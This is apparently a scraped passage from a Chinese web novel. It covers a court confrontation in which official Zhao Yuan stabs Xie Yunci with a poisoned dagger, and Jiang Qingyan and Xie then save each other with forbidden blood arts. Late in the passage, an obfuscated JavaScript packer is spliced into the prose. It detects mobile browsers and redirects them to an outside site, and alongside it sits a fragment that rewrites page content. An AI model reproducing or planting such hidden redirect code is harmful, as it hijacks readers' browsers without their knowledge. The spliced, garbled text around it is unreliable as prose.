江清砚的“心理侧写”如一颗投入平静湖面的石子,激起层层涟漪。几位老臣面色微变,彼此交换着隐晦的眼神。空气中弥漫着一种近乎实质的紧张,仿佛一根绷紧的弦,只需轻轻一碰便会断裂。 皇帝高坐龙椅,目光深邃,手指轻叩扶手。他没有说话,却让所有人都感受到那股无形的威压。 “江清砚,”皇帝终于开口,声音在空旷大殿中回荡,“你的意思是,此案凶手并非单纯为陷害你,而是意图搅乱朝局?” 江清砚戴着重枷,脊背却依旧挺直。他微微欠身,声音清晰而镇定:“回陛下,正是。陷害草民不过是一步棋,真正的目的——若草民推测无误——是借科举舞弊案挑起朝中派系争斗。吏部尚书与三皇子皆有嫌疑,但若两者都是被刻意设计的棋子呢?” 此话一出,满殿哗然。 吏部尚书张乾脸色铁青,出列跪倒:“陛下明鉴!老臣绝无此心!江清砚此言,分明是含血喷人!” 三皇子虽未出列,但袖中拳头已握得发白,额角青筋隐约可见。 谢云辞立于武将列,目光始终锁在江清砚身上。他注意到江清砚脸色比刚才更苍白了几分,呼吸也略显急促——心疾怕是又要发作了。谢云辞暗自催动体内那股由“心头血”建立的联系,试图传递一丝温和的力量过去,却只感觉到对面如同即将干涸的枯井,回馈而来的只有虚弱与疼痛。 他心中一紧。 “江清砚,”刑部尚书忍不住开口,“你既如此推测,可有证据指向那幕后之人?” 江清砚沉默片刻,缓缓道:“草民无实证,但可提供三个特征,供各位大人参详:其一,此人必对科举流程、阅卷规则乃至副主考个人习惯了如指掌;其二,此人应有渠道接触宫中用物,或至少能获取详细仿制信息;其三——”他顿了顿,目光扫过殿中百官,“此人必对朝中派系、权贵恩怨极其熟悉,且怀有深刻怨恨,方能设计出如此精巧的一石多鸟之局。” 话音落下,殿内陷入更深的寂静。 许多官员开始不自觉地在心中盘算:谁符合这些条件?谁与科举相关?谁曾因科举或朝争遭受过重大打击? 就在此时,一个身影从文官队列中踉跄出列。 是礼部郎中赵元。 他年约五十,面容清癯,在礼部任职已二十余载,向来以谨小慎微、沉默寡言著称。此刻他却面如死灰,双膝一软跪倒在地,以头抢地,声音颤抖得几乎破碎: “陛下…臣…臣有罪!” 所有人的目光瞬间聚焦在他身上。 江清砚瞳孔微缩——赵元?那个在贡院巡场时曾与自己有过一面之缘,点头致意时神色温和的中年官员? 皇帝眯起眼睛:“赵元,你有何罪?” 赵元伏在地上,肩头剧烈抖动,声音带着哭腔:“臣…臣知情不报!臣知道是谁主使此案!是…是张尚书!”他猛地抬头,指向吏部尚书张乾,眼中布满血丝,“张尚书因上次铨选之事与副主考结怨,又欲借此案打击三皇子一系,故设计陷害江会元!那澄心堂纸的仿品,是张尚书门人私下找工匠所制!毒药…毒药也是张府流出的!” “胡言乱语!”张乾暴怒,须发皆张,“赵元!你受何人指使,竟敢污蔑本官!” 赵元却似豁出去了,从怀中掏出一叠泛黄纸页,高举过头:“臣有证据!这是张尚书门人与工匠往来的书信草稿,是臣偶然所得!还有…还有张府采购‘鬼枯藤’的账目抄本!臣…臣一直不敢说,怕遭报复,可今日见江会元蒙冤至此,臣…臣良心难安啊!” 内侍接过纸页,呈递御前。 皇帝翻阅着,脸色越来越沉。 张乾跪地高呼:“陛下!这是构陷!定是有人伪造证据,欲置老臣于死地!” 殿内议论声渐起,许多官员看向张乾的眼神已带上了怀疑。 江清砚却皱起了眉。 不对劲。 赵元的指认来得太突然,太恰到好处。那些“证据”出现得也太巧合。更重要的是——江清砚的记忆宫殿中,迅速调出了与赵元相关的所有细节:礼部档案记载,赵元出身寒微,三十五岁才中进士,一直在礼部做着不痛不痒的闲职;三年前其独子参加乡试落第,郁郁而终;赵元自此愈发沉默,但工作从未出错… 等等。 独子落第而亡。 江清砚脑中电光石火般闪过一个念头——赵元之子当年参加的是江南乡试,而那场乡试的主考官,正是今日的吏部尚书张乾。传闻当年那场考试确有舞弊传闻,但最终不了了之… “赵大人,”江清砚忽然开口,声音不大,却让殿内一静,“令郎赵文谦,可是三年前殁于痨疾?” 赵元浑身一震,猛地扭头看向江清砚,眼中闪过一丝猝不及防的惊愕,随即化为更深的疯狂:“你…你提我儿作甚!这与本案无关!” “有关。”江清砚平静地说,大脑飞速运转,“若我没记错,令郎当年乡试落第后曾四处申告,称考场有人作弊夺其名额,但申诉无门。而他指控的作弊者,正是张尚书的外甥——后来那外甥中了举人,如今已在张尚书门下为官。” 殿内响起倒吸冷气的声音。 赵元的脸色彻底变了,那副惶恐懦弱的面具寸寸碎裂,露出底下扭曲的真实。他死死盯着江清砚,嘴唇颤抖,却说不出话。 “所以,”江清砚继续道,每个字都清晰如刀,“你恨的不仅是张尚书,更是整个科举制度,是整个让你儿子蒙冤而死的官场。陷害我不过是个引子,你真正要做的,是让张尚书与三皇子两派斗得两败俱伤,甚至——” “够了!”赵元突然暴喝一声,从地上猛地站起。 那一瞬间,他佝偻的身形竟显出几分骇人的气势。 谢云辞几乎在同时动了——武将的直觉让他嗅到了危险的气息。他身形微侧,手已按上腰间刀柄。 但赵元的速度更快。 他根本就没打算辩解。 “是!我恨!”赵元狂笑起来,笑声嘶哑如夜枭,“我恨这不公的世道!恨你们这些道貌岸然的权贵!我儿寒窗十年,才华横溢,却因无权无势被夺去功名!他郁郁而终时,你们在做什么?张乾在为他外甥摆庆功宴!三皇子在收受贿赂提拔亲信!这满朝朱紫,有几个是干净的?!” 他一边嘶吼,一边踉跄着向江清砚的方向移动,状若疯癫。 “小心!”谢云辞厉喝出声,身形已如离弦之箭般射出。 迟了。 赵元袖中寒光乍现——一柄淬着幽蓝光泽的匕首握在他手中,在殿内烛火下泛着妖异的光。他根本不是要理论,也不是要指证,从一开始,他的目标就是江清砚! “我要让天下人都看看!”赵元双目赤红,面容扭曲如恶鬼,“看看这科举选出来的‘会元’死在金銮殿上,看看这朝廷有多荒唐!你们都该给我儿陪葬!” 匕首破空,直刺江清砚心口! 一切发生在电光石火之间。殿内侍卫反应不及,百官呆若木鸡,连皇帝都从龙椅上惊起。 江清砚戴着沉重木枷,根本无法闪避。他能做的只有微微侧身,试图让开要害—— 但一道身影比他更快。 谢云辞如一道黑色闪电,在匕首即将触及江清砚衣襟的刹那,整个人扑挡在他身前。 “噗嗤——” 利刃入肉的声音,在死寂的大殿中清晰得刺耳。 匕首深深没入谢云辞左肩胛,直没至柄。赵元这一刺用尽了全力,带着数年积攒的所有怨恨与疯狂。 时间仿佛凝固了。 谢云辞身体一震,却未后退半步。他左手反手扣住赵元手腕,右手已抽出腰间绣春刀,刀光一闪,赵元持匕的右臂齐肩而断! 鲜血喷涌,溅上蟠龙柱,溅上青石砖,也溅上江清砚苍白的脸。 赵元惨叫着倒地,断臂处血如泉涌。侍卫们这才反应过来,一拥而上将其制住。 但所有人的目光,都聚焦在那柄仍插在谢云辞肩上的匕首上。 刀身泛着诡异的蓝光,血从伤口涌出,起初是鲜红,但迅速转为暗紫,最后竟成了浓稠的墨黑色——剧毒! “云辞!”江清砚失声喊道,枷锁限制了他的动作,他只能眼睁睁看着谢云辞肩头的黑色迅速蔓延。 谢云辞咬牙,左手握住匕首柄,猛地拔出! 黑血喷溅,他踉跄一步,单膝跪地,却仍用刀支撑着身体,挡在江清砚身前。脸色以肉眼可见的速度灰败下去,嘴唇瞬间泛紫。 “太医!传太医!”皇帝厉声喝道。 殿内乱作一团。有官员惊呼,有侍卫奔走,刑部尚书急令封锁大殿,禁军统领已调兵围住整个金銮殿。 但江清砚什么都听不见了。 他的世界只剩下谢云辞逐渐微弱的气息,和那通过“心头血”联结传来的、如潮水般汹涌的痛苦与冰冷。 不。 不能。 绝不能再失去。 江清砚眼中闪过一丝决绝。他猛地抬头,看向皇帝:“陛下!请恕草民失仪——此毒剧烈,寻常太医恐难解!草民家传医术,或可一试!” “不可!”有大臣急道,“江清砚仍是戴罪之身,岂可——” “准!”皇帝斩钉截铁,目光如电,“卸去枷锁!所需何物,即刻取来!” 枷锁落地,发出沉重声响。 江清砚踉跄扑到谢云辞身边,双手颤抖却精准地撕开他肩头衣物。伤口周围的皮肉已开始发黑溃烂,黑色脉络如蛛网般向心脉蔓延——是“阎罗泣”,天下奇毒之一,见血封喉,中者无救。 至少,寻常医者无救。 但江清砚不是寻常医者。 他是江家最后的传人。 “取银针!烈酒!蜡烛!”江清砚厉声道,声音里带着他自己都没察觉的颤抖。 内侍匆忙取来所需之物。江清砚将银针在烛火上灼烧,浸入烈酒,动作快得只剩残影。七根银针依次刺入谢云辞心脉要穴,暂时封住毒素蔓延。 但不够。 “阎罗泣”的毒性太烈,银针封穴最多只能拖延半刻钟。半刻钟后,毒入心脉,大罗金仙难救。 江清砚看着谢云辞越来越弱的呼吸,看着他渐渐涣散的瞳孔,看着他仍努力转向自己、试图扯出一个安抚笑容的嘴角—— 够了。 已经失去过一次,不能再有第二次。 江清砚闭了闭眼,再睁开时,眼中只剩一片冰封般的平静。他转向皇帝,重重叩首: “陛下,草民需用家传禁术为谢大人祛毒。此术凶险,施术过程中不得有丝毫干扰,否则两人皆亡。请陛下准允,并清退闲杂人等。” 皇帝盯着他,片刻,挥手:“除太医令、禁军统领外,余人退至殿外!封锁大殿五十步,擅入者斩!” 百官匆匆退去,殿门轰然关闭。偌大的金銮殿内,只剩寥寥数人,烛火摇曳,映着满地鲜血,如修罗场。 江清砚不再犹豫。 他咬破右手食指,以血为墨,在谢云辞心口画下一个繁复诡异的符阵。每画一笔,他的脸色就苍白一分,仿佛生命力正随着血液流失。 太医令在一旁看得目瞪口呆:“这…这是失传已久的‘逆命血阵’?江公子,此阵需以施术者半身精血为引,你本就心疾在身,强行施展会——” “会死。”江清砚平静地接话,手上动作却不停,“我知道。” 他画完最后一笔,抬眸看向意识已近模糊的谢云辞,轻声道:“但你不会。” 话音落下,江清砚双手结印,按在血阵之上。 刹那间,血色光芒自符阵中暴起,将两人笼罩其中!光芒如活物般蠕动,顺着谢云辞的伤口钻入体内,所过之处,黑色毒素如遇克星,疯狂退散—— 不,不是退散。 是在被强行抽取、逆转流向,顺着血光构筑的通道,涌向江清砚抵在阵眼的手掌! “呃啊——”江清砚浑身剧震,喉中涌上腥甜。 黑色的毒素如毒蛇般钻入他的经脉,所过之处如同烈焰灼烧、冰锥穿刺。心口旧疾在毒素刺激下轰然爆发, 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他看到的最后一幕,是江清砚倒下的身影,是那张苍白如纸、七窍流血的脸,是那双向来清澈此刻却渐渐失去焦点的眼睛。 “清砚——!!!” 谢云辞不知道哪来的力气,竟在重伤之下猛地撑起身,接住了那个坠落的身影。 触手冰凉,轻得仿佛没有重量。 “太医!救他!救他啊!”谢云辞嘶吼着,肩头伤口崩裂,鲜血染红两人衣襟,他却浑然不觉。 太医令扑上前,搭上江清砚脉搏,脸色骤变:“脉象…乱了!心脉几乎停跳!毒已入心腑,加上心疾爆发,这…这…” “救他!”谢云辞双目赤红,如同困兽,“用我的血!心头血!再换一次命!换啊!” “谢大人不可!”太医令急道,“你重伤未愈,再取心头血必死无疑!况且江公子此刻的身体,承受不住第二次禁术了!” 皇帝已走下龙阶,看着眼前惨状,面色沉痛:“用最好的药!皇宫宝库所有珍稀药材,任取任用!救不回江清砚,太医院提头来见!” 内侍飞奔而去。 谢云辞紧紧抱着江清砚,感受到怀中身体的温度正在迅速流失。他低头,额头抵着江清砚冰凉的额,声音颤抖得破碎: “你别死…求你了…江清砚…你答应过要与我一同查案…答应过要陪我去江南看烟雨…你答应过的…” 没有回应。 只有微弱到几乎察觉不到的呼吸,证明这个人还活着。 谢云辞猛地想起什么,催动体内那股联结——曾经清晰存在的感应,此刻微弱如风中残烛,断断续续,仿佛随时会彻底熄灭。 他不要命地将自己的内力通过联结渡过去,试图温暖那具冰冷的身体。 一点一点,如同捧着一盏即将油尽灯枯的烛火,小心翼翼,绝望又虔诚。 殿外,雷声隆隆,暴雨倾盆而至。 金銮殿内,烛火摇曳,映着两具相拥的身躯,一者重伤,一者濒死。 太医们忙作一团,施针的施针,喂药的喂药。但所有人都知道,江清砚的伤势已非医术所能及——毒入心脉,心疾爆发,又耗尽精血施展禁术,这根本是必死之局。 谢云辞不肯松手。 他就那样跪坐在冰冷的青石砖上,抱着江清砚,肩头的血与江清砚七窍流出的血混在一起,分不清彼此。 “陛下,”禁军统领低声禀报,“赵元已押入天牢,但他失血过多,恐也撑不过今夜。审讯时他狂笑不止,说‘终于为儿报仇,死也瞑目’,还说什么…‘这肮脏朝廷,该有一场大火洗净’。” 皇帝闭了闭眼,再睁开时,眼中只剩帝王的冷酷:“查。赵元所有亲眷、门生、往来人员,一查到底。此案背后若还有人,掘地三尺也要挖出来。” 他看向殿中相拥的两人,沉默良久,轻声道:“谢云辞,带江清砚去偏殿。太医院所有人,日夜轮守。需要什么,直接去内库取。” “谢…陛下。”谢云辞的声音沙哑得几乎听不清。 他艰难地抱起江清砚——那么轻,轻得像一片羽毛——一步步走向偏殿。每一步,肩头的伤口都在撕裂,但他感觉不到疼。 所有的疼,都在心里。 偏殿内,宫人已准备好床榻、热水、药材。 谢云辞将江清砚小心放在榻上,用湿巾一点点擦去他脸上的血迹。那张清隽面容此刻白得透明,长睫低垂,安静得如同沉睡。 太医们围上来,施针灌药,忙到深夜。 子时三刻,太医令疲惫地走出内室,对守在门口的谢云辞摇头:“谢大人,老夫…尽力了。江公子心脉受损太重,毒虽被逼出大半,但残余毒素与心疾交织…除非有奇迹,否则…熬不过三日。” 谢云辞靠在门框上,肩头已重新包扎,但纱布下仍渗着血。他沉默了很久,久到太医令以为他不会回答时,才轻声说: “会有奇迹的。” “什么?” “我说,”谢云辞抬眸,眼中是从未有过的坚定,“他不会有事的。因为我不允许。” 太医令张了张嘴,最终只是叹息着摇头离开。 殿内重归寂静。 谢云辞走回榻边,坐下,握住江清砚冰凉的手,十指相扣。 窗外暴雨如注,雷声滚滚。 殿内烛火昏黄,映着两张苍白的面容。 “你听好了,江清砚,”谢云辞低声说,声音轻得像怕惊扰什么,“你救过我两次。第一次在破庙,第二次在刚刚。我这条命,早就是你的了。” 他俯身,在江清砚眉心落下一个轻如羽毛的吻。 “所以,别想丢下我。” “你若敢死,我就去黄泉把你抓回来。” “说到做到。” 窗外,一道闪电撕裂夜空,照亮殿内两人相握的手,和谢云辞眼中那簇不肯熄灭的火焰。 暴雨还在下。 长夜未央。 但黎明,总会来的。 39. 第 39 章 第三十九章生死之间 暴雨下了整整一夜。 皇宫偏殿内,烛火通明。太医们进进出出,药汤一碗接一碗地送来,又原封不动地端走——江清砚已经无法吞咽。 子时过后,他的呼吸微弱到几乎难以察觉。太医令第三次施完续命针,走出内室时,对守在门外的谢云辞摇了摇头,那眼神里的意思再明白不过:准备后事吧。 谢云辞肩头的伤还在渗血,但他毫不在意。他推开门走进内室,屏退了所有宫人,然后坐到榻边,握住江清砚冰凉的手。 “都出去。”他的声音沙哑,却带着不容置疑的命令。 宫人们犹豫着看向太医令,太医令叹了口气,挥手示意众人退出。门被轻轻掩上,殿内只剩下他们两人。 烛火跳动,在江清砚苍白的脸上投下明明灭灭的光影。他安静地躺着,长睫如蝶翼般覆在眼睑上,若不是胸口还有一丝几乎看不见的起伏,几乎让人以为他已经—— 谢云辞猛地掐断那个念头。 他解开自己的衣襟,露出心口的位置。那道取心头血留下的疤痕还未完全愈合,在烛光下泛着暗红色。他咬破指尖,以血为引,在心口再次画下那个繁复的符阵。 “你疯了吗!”太医令透过门缝看到这一幕,忍不住推门冲进来,“谢大人!你现在的身体根本承受不住第二次禁术!你会死的!” “出去。”谢云辞头也不回,声音冰冷如铁,“或者我让人请你出去。” 太医令急得跺脚:“你这是送死!就算你用了禁术,江公子现在的身体也承受不了第二次换血!你这是要让两个人都——” “我说,出去。” 谢云辞终于转头看他,那双眼睛里翻涌着太医令从未见过的疯狂与决绝。那是赌徒押上一切的眼神,是绝境之兽撕咬最后生机的眼神。 太医令张了张嘴,最终颓然退出,轻轻带上了门。 谢云辞重新低头,看着江清砚安静的面容。 “你说过信我,”他低声说,指尖轻抚过江清砚的脸颊,“所以这次也信我,好不好?” 没有回答。 谢云辞闭上眼,催动体内残存的内力,注入心口的血阵。 光芒再次亮起,比上次微弱,却更加固执。血色的光丝从符阵中伸出,如同有生命的触须,轻轻探向江清砚心口的位置。 但就在光丝即将触及的瞬间,异变陡生—— 江清砚心口突然爆发出另一道光芒! 不是血色的,而是淡淡的、近乎透明的青色光芒,如初春薄雾,又如月下清泉。那光芒温柔却坚定地推开谢云辞的血色光丝,形成一个保护罩般的光晕,将江清砚整个人笼罩其中。 谢云辞愣住了。 这是什么? 他从未见过这种光芒,更不知道江清砚体内竟还藏着这样的力量。 就在他怔神间,青色光芒忽然扩散开来,将他也包裹了进去。那一瞬间,谢云辞感觉到一股温和却浩瀚的力量涌入体内,肩头的伤痛奇迹般减轻,疲惫到极点的精神也为之一振。 更神奇的是,他“看见”了—— 不是用眼睛,而是某种更深层的感知。他看见江清砚体内的情况:黑色的毒素如狰狞的毒蛇盘踞在心脉周围,每一次心脏跳动都变得艰难无比;旧疾留下的暗伤如同破碎的瓷器,遍布心脉各处;而那股青色光芒,正从心脉最深处涌出,一点一点修复那些裂痕,温柔却坚定地将黑色毒素往外推挤。 这青色光芒…竟是江清砚自身的生命力? 谢云辞突然明白了——这不是外力,而是江清砚自己的身体在自救。这个看似温润柔弱的书生,骨子里藏着何等顽强的求生意志。 他不再强行施展禁术,而是放松下来,任由那青色光芒将两人连接在一起。他感觉到自己的内力被那光芒引导着,温和地注入江清砚体内,与那青色光芒一同修复受损的心脉。 这是一种前所未有的体验。 他们的意识仿佛交融在一起,分不清彼此。谢云辞能感觉到江清砚的痛苦——那种心脉被毒素侵蚀、每一次呼吸都如刀割的剧痛;也能感觉到那股青色光芒的源头——那是一个温暖的、光明的所在,如同冬日暖阳,又如同母亲怀抱。 而在那温暖的核心深处,谢云辞“看”到了更多—— 破碎的记忆片段如雪花般飞舞: 一个四五岁的小男孩,蹲在药圃里认真分辨草药,旁边站着一位温柔的女子,轻声讲解每株草药的药性。那是江清砚的母亲。 小男孩稍大一些,在书房里背书,父亲站在身后,手指轻轻点着书页:“清砚,医者仁心,但也要懂得自保。这卷毒经,你要烂熟于心。” 十岁那年,家中突遭大火。小男孩被母亲推进密室,最后看到的画面是母亲回头时含泪的微笑:“清砚,活下去。” 密室里的三年。独自一人,靠着储存的干粮和水,还有满室的医书毒经。他在黑暗中学习,在寂静中长大,将江家千年的传承刻进骨血。 十三岁走出密室,面对的是一片废墟。他用稚嫩的肩膀埋葬了父母模糊的遗骸,然后背上行囊,踏上去京城的路。 他要考取功名,不是为了光宗耀祖,而是为了有朝一日能查清那场大火的真相——那不是意外,他记得火光中那些黑衣人冰冷的面具,记得他们搜查时提到的“江家秘术不能留”。 一路上,他救治过路边的乞丐,也毒杀过拦路的匪徒。他用医术救人,也用毒术自保。他学会了笑,学会了温和地与人交谈,学会了藏起所有棱角和锋芒,做一个普通的、进京赶考的书生。 直到那个雨夜,破庙里,撞进来一个满身是血的人。 那些记忆碎片如潮水般涌入谢云辞的意识,他看见江清砚第一次杀人时的颤抖,看见他深夜独自研读毒经时的专注,看见他对着父母牌位默默发誓时的坚毅,也看见—— 看见江清砚在破庙里,为昏迷的他包扎伤口时,眼中那一闪而过的、连自己都未曾察觉的温柔。 看见山洞篝火旁,听他梦呓喊“阿姐”时,江清砚轻轻为他掖好被角的动作。 看见天牢里,隔着栅栏握住他的手说“我一直都信”时,那双眼睛里不容错认的信任与依赖。 看见刚才在金銮殿上,江清砚看到他挡刀受伤时,那一瞬间瞳孔骤缩的惊恐与绝望。 原来… 原来这个人,早就将他放在了心里最深处的位置。 谢云辞的心口像是被什么温热的东西填满了,满得发胀,满得发疼。 就在这时,他感觉到江清砚的意识有了波动。 那是一种微弱的、近乎呢喃的思绪,断断续续,却清晰地传递过来: “…云辞…” “别…别死…” “我还…没…” 还没什么? 谢云辞焦急地想要听清,但那思绪又散开了,如同风中残烛。 他定了定神,通过两人之间的联结,将自己的意念传递过去: “我在。” “江清砚,我在。” “我没事,你也要没事。” “我们说好的,要一起查案,一起去江南,一起…活下去。” 他一遍又一遍地传递着这些念头,固执地,不肯停歇。 不知过了多久,也许是半个时辰,也许是一个时辰,谢云辞感觉到江清砚体内那股青色光芒忽然大盛! 那光芒如同潮水般涌向心脉处的黑色毒素,温柔却不容抗拒地将它们包裹、溶解、净化。黑色以肉眼可见的速度消退,心脉上的裂痕在青光的滋养下缓缓愈合。 成功了! 谢云辞几乎要喜极而泣。 但他还没来得及高兴,就感觉到江清砚的呼吸再次变得急促——青光虽然净化了毒素,却也耗尽了江清砚最后的心力。那温暖的光源正在迅速暗淡下去,如同即将燃尽的蜡烛。 不! 谢云辞几乎是本能地做出反应。他将自己的内力毫无保留地注入那道联结,如同为即将熄灭的火堆添柴,拼命地想要维持那点光芒。 但人力有穷时。 他的内力也快耗尽了。 就在谢云辞感到绝望之际,异变再生—— 他心口那道取心头血留下的疤痕,忽然开始发烫。紧接着,一股熟悉又陌生的力量从疤痕深处涌出,沿着两人之间的联结,源源不断地注入江清砚体内。 那是… 谢云辞突然想起来了。 那是他之前渡给江清砚的心头血中,残留的、属于他自己的本源生命力。这些生命力原本已经与江清砚的身体融合,此刻在危急关头,竟被那青色光芒唤醒,反过来支撑着江清砚的生机。 原来如此。 原来所谓的“同命”,不仅仅是生命的联结,更是生机的共享、命运的纠缠。 你中有我,我中有你。 生死与共。 随着那股本源生命力的注入,江清砚心口那即将熄灭的青色光芒,重新稳定下来,虽然微弱,却不再继续暗淡。 时间一点点流逝。 殿外,天色由暗转明,雨势渐歇,晨光透过窗纸渗入殿内。 太医令在门外来回踱步,几次想要推门进去查看,又怕打扰到什么。他能感觉到殿内有股奇异的力量波动,却说不清那是什么。 终于,在辰时初刻,殿内传来一声轻微的咳嗽。 太医令猛地推开门。 他看到谢云辞仍坐在榻边,握着江清砚的手,两人周身笼罩着一层淡淡的、几乎看不见的青金色光晕。谢云辞肩头的纱布已被鲜血浸透,脸色白得吓人,但那双眼睛却亮得惊人。 而榻上,江清砚的睫毛微微颤动,缓缓睁开了眼睛。 那是一双依旧清澈,却还带着迷茫的眼睛。他眨了眨眼,似乎花了几息时间才聚焦,然后视线落在谢云辞脸上。 “…云辞?”他的声音轻得几乎听不见,沙哑干涩。 谢云辞的喉结滚动了一下,他想说什么,却发现自己的嗓子也哑得发不出声音。他只能用力握紧江清砚的手,用力到指节发白。 江清砚看着他,又低头看了看两人交握的手,然后视线落在谢云辞肩头那片刺目的血红上。 记忆如潮水般涌回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863515|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金銮殿。赵元。匕首。挡在身前的背影。 还有…禁术,换血,剧痛,然后是无边的黑暗与温暖。 “你…”江清砚的声音颤抖起来,“你怎么样了?” 谢云辞终于找回了自己的声音:“我没事。你呢?心口还疼吗?毒…解了吗?” 江清砚闭眼感受了一□□内的情况,然后睁开眼睛,眼中闪过一丝困惑:“毒…好像解了。但…不是我用禁术解的。我感觉到…有一股力量…” 他看向谢云辞,突然明白了什么:“你又用了禁术?” “没有成功,”谢云辞摇头,“是你自己的身体…有一股青色的光芒,它净化了毒素,还…” 他顿了顿,不知该如何描述那些共享的记忆,那些意识的交融。 江清砚却似乎明白了。他感受着体内那股陌生的、温暖的力量——那是谢云辞的本源生命力,此刻正与他的青色生机交织在一起,如同两股不同颜色的丝线,编织成一张保护心脉的网。 “原来…”他喃喃道,“江家医典里记载的‘共生之契’,是真的。” “共生之契?” “一种比‘逆命血阵’更古老的禁术,”江清砚轻声解释,“不是施术者强行换命,而是两个人的生命本源自愿交融,形成共生。一旦结成,生死相连,福祸与共。但医典上说,这种契需要双方完全信任,心意相通,且必须在濒死之际由其中一方主动触发…千百年来,从未有成功的记载。” 他看向谢云辞,眼神复杂:“所以刚才,你是…” “我只想着不能让你死,”谢云辞坦然地回望他,“其他的,我不知道。” 两人对视着,一时间谁也没有说话。 殿内晨光渐亮,将他们的身影拉长,交叠在一起。 太医令站在门口,看着这一幕,突然觉得自己的存在有些多余。他轻咳一声:“那个…老夫为两位把把脉?” 谢云辞这才回过神来,点了点头。 太医令上前,先为江清砚诊脉,手指搭上腕脉的瞬间,他眼睛猛地睁大:“这…这怎么可能?!” 脉象虽然虚弱,却平稳有序,毒素的迹象几乎完全消失,连心疾都似乎缓和了许多!这简直是奇迹! 他又为谢云辞诊脉,眉头却皱了起来:“谢大人失血过多,内息耗尽,肩头的伤也需重新处理。必须静养,否则会落下病根。” 谢云辞却不在意:“他没事就好。” 太医令摇摇头,开了方子,嘱咐宫人去煎药,然后识趣地退下了。 殿内又只剩下两人。 江清砚挣扎着想要坐起来,谢云辞连忙扶住他,在他背后垫上软枕。 “赵元呢?”江清砚问。 “押入天牢了,但失血过多,可能撑不过今天。”谢云辞的声音冷了下来,“陛下已命彻查他所有关系网。此案背后,应该还有隐情。” 江清砚沉默片刻:“他儿子的事,是真的吗?” “我已经派人去查三年前江南乡试的卷宗,”谢云辞说,“如果确有冤情…” 他没说完,但江清砚懂他的意思。 如果确有冤情,那赵元的疯狂就有了根源。但无论如何,这不是他制造惊天大案、滥杀无辜的理由。 “对了,”谢云辞想起什么,“你昏迷时,我…看到了一些你的记忆。” 江清砚身体一僵。 “我看到你父母,看到那场大火,看到你在密室里独自学习的三年,”谢云辞的声音很轻,却很认真,“江清砚,你从未对我说过这些。” 江清砚低下头,长长的睫毛在眼下投出淡淡的阴影:“没什么好说的。都过去了。” “没有过去,”谢云辞握住他的手,“那些事还在你心里。你想查清那场大火的真相,对吗?” 江清砚猛然抬头。 “我帮你,”谢云辞直视他的眼睛,一字一句地说,“就像你帮我查谢家血案一样。我们一起去查,无论真相是什么,无论面对谁。” 江清砚的嘴唇微微颤抖,他想说什么,却发不出声音。最终,他只是用力回握住谢云辞的手,重重地点头。 晨光完全洒进殿内,将一切都染上温暖的金色。 窗外,雨后的宫城清新如洗,琉璃瓦上水光潋滟。 殿内,两人就这样静静坐着,双手交握,谁也没有说话,却仿佛已经说了千言万语。 不知过了多久,江清砚轻声开口: “云辞。” “嗯?” “谢谢你。” 谢云辞笑了,那是劫后余生的、带着疲惫却无比真实的笑容: “该说谢谢的是我。你又救了我一次。” “不,”江清砚摇头,“是我们救了彼此。” 他顿了顿,补充道:“以后,也一直这样。” 谢云辞怔了怔,然后笑意更深:“好。一直这样。” 生死与共,福祸同当。 这大概就是所谓的,同命。 殿外传来脚步声,内侍的声音在门外响起:“谢大人,江公子,陛下传二位去御书房。” 新的篇章,即将开始。 40. 第 40 章 第四十章禁术·逆命 御书房内,龙涎香袅袅。 皇帝坐在紫檀木书案后,手中把玩着一枚羊脂白玉扳指,目光深沉地看着跪在下方的两人。 谢云辞肩头重新包扎过,换了一身干净的飞鱼服,但失血后的苍白依旧明显。江清砚坐在皇帝特赐的软凳上,脸色比纸还白,却坚持要一同前来。 他们已经在这里跪了半柱香的时间。 “抬起头来。”皇帝终于开口。 两人依言抬头。 皇帝的视线先落在谢云辞身上:“你的伤,太医怎么说?” “回陛下,皮肉伤,无碍。”谢云辞的声音平静。 “无碍?”皇帝挑眉,“朕听说匕首上有‘阎罗泣’,见血封喉的剧毒。若非江清砚以命换命,你现在已经是一具尸体了。” 谢云辞抿唇不语。 皇帝又看向江清砚:“你呢?毒解了?心疾如何?” 江清砚垂眸:“谢陛下关心,草民已无大碍。” “无大碍?”皇帝忽然冷笑一声,将手中的奏折扔到两人面前,“太医院的脉案朕看过了。江清砚,你心脉受损之重,按理说根本活不下来。谢云辞,你失血超过三成,肩胛骨几乎被刺穿,太医说你能站着都是奇迹。” 他站起身,走下玉阶,来到两人面前:“所以朕很好奇,到底是什么样的‘医术’,能让两个必死之人,在一夜之间起死回生?” 空气骤然凝固。 江清砚的手指微微收紧。他料到皇帝会问,却没想到会问得如此直白。 谢云辞抢先开口:“陛下,是臣——” “朕问的是江清砚。”皇帝打断他,目光如炬地盯着江清砚,“江家医术,朕略有耳闻。传闻江氏先祖曾随神农尝百草,传下医毒双绝的秘术。但能让死人复生的手段…恐怕已经超出‘医术’的范畴了吧?” 江清砚深吸一口气,缓缓抬头:“陛下明鉴。草民所用,确非寻常医术,而是江家禁术‘逆命血阵’。” “禁术?”皇帝眯起眼睛。 “以血为引,以命换命,”江清砚的声音平静无波,“将一人体内的致命之毒或重伤,转移至施术者体内。需以施术者半身精血为代价,九死一生。” 皇帝沉默片刻:“所以你为救谢云辞,差点搭上自己的命?” “是。” “为什么?”皇帝追问,“你们相识不过数月,值得以命相换?” 江清砚沉默了。 这个问题,他自己也问过自己。 在破庙初遇时,在运河共战时,在天牢重逢时,在金銮殿上看到他挡刀时——为什么? 答案其实很简单。 “因为,”江清砚轻声说,目光清澈而坚定,“他是谢云辞。” 没有更多解释,但这一句已经足够。 皇帝盯着他看了很久,忽然大笑起来:“好!好一个‘因为他是谢云辞’!” 笑声在御书房内回荡,带着几分释然,几分欣赏。 笑罢,皇帝走回书案后坐下,神色重新变得严肃:“‘逆命血阵’的事,到此为止。朕不会问更多,你们也最好永远封口。这种逆天改命的手段,若传出去,会招来无穷祸患。” “谢陛下体谅。”两人齐声道。 “不过,”皇帝话锋一转,“赵元一案,你们还需给朕一个完整的交代。” 